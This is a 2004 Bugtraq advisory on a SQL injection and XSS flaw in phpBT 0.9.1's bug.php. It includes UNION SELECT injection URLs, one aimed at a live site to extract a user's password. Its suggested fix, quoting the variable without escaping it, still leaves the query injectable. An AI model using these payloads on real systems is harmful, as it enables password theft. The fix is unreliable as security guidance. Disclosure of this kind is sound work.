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Message-ID: <20041113030309.11098.qmail@www.securityfocus.com> Date: 13 Nov 2004 03:03:09 -0000 From: jessica soules <admin@...dark.com> To: bugtraq@...urityfocus.com Subject: SQL Injection in phpBT (bug.php) _ _ ______ _ | | | | | _ \ | | | |_| | _____ __ | | | |__ _ _ __| | __ | _ |/ _ \ \ /\ / / | | | / _` | '__| |/ / | | | | (_) \ V V / | |/ / (_| | | | < \_| |_/\___/ \_/\_/ |___/ \__,_|_| |_|\_\ http://www.howdark.com ---------------------------------------------------------------------------------------------------------------------------------- // Information ---------------------------------------------------------------------------------------------------------------------------------- Author: How Dark Date: November 13, 2004 URL: http://www.howdark.com Affected Software: PHP Bug Traq Software Version: 0.9.1 Software URL: http://phpbt.sourceforge.net/ Attack: SQL Injection, allowing people to minipulate the query into pulling data they should not previously be able too obtain. (Such as passwords) XSS, cross site scripting leaving cookie data to vunerable. Description: bug_id variable is left open. xss on display of id. ---------------------------------------------------------------------------------------------------------------------------------- xxx ---------------------------------------------------------------------------------------------------------------------------------- // Description ---------------------------------------------------------------------------------------------------------------------------------- For viewing the votes placed on a bug, the bug_id variable is left open. ---------------------------------------------------------------------------------------------------------------------------------- xxx ---------------------------------------------------------------------------------------------------------------------------------- // URL ---------------------------------------------------------------------------------------------------------------------------------- bug.php?op=viewvotes bug.php?op=viewvotes&bugid=1 union select 1,2,3/* bug.php?op=viewvotes&bugid=1 union select 1,2,3/*%20 XSS here http://www.phpbb.com/bugs/bug.php?op=viewvotes&bugid=1 union select 1,user_password,3 where user_id='2'/* ---------------------------------------------------------------------------------------------------------------------------------- xxx ---------------------------------------------------------------------------------------------------------------------------------- // Code ---------------------------------------------------------------------------------------------------------------------------------- [ Line 29 - 37 ] function vote_view($bug_id) { global $u, $db, $t, $STRING; $t->assign('votes', $db->getAll('select login, v.created_date '. 'from '.TBL_AUTH_USER.' u, '.TBL_BUG_VOTE." v ". "where u.user_id = v.user_id and bug_id = $bug_id ". 'order by v.created_date')); $t->wrap('bugvotes.html', 'bugvotes'); } ---------------------------------------------------------------------------------------------------------------------------------- // Code ---------------------------------------------------------------------------------------------------------------------------------- xxx ---------------------------------------------------------------------------------------------------------------------------------- // SQL Error ---------------------------------------------------------------------------------------------------------------------------------- DB Error: syntax error SELECT u.user_id, username as login, v.created_date FROM phpbb_users u, phpbt_bug_vote v WHERE u.user_id = v.user_id AND bug_id = 2864' ORDER BY v.created_date [nativecode=1064 ** You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '' ORDER BY v.created_date' at line 1] ---------------------------------------------------------------------------------------------------------------------------------- xxx ---------------------------------------------------------------------------------------------------------------------------------- // Fix ---------------------------------------------------------------------------------------------------------------------------------- Find: [ Line 34 ] "where u.user_id = v.user_id and bug_id = $bug_id ". Replace: [ Line 34 ] "where u.user_id = v.user_id and bug_id = '$bug_id' ". ---------------------------------------------------------------------------------------------------------------------------------- xxx ;eof
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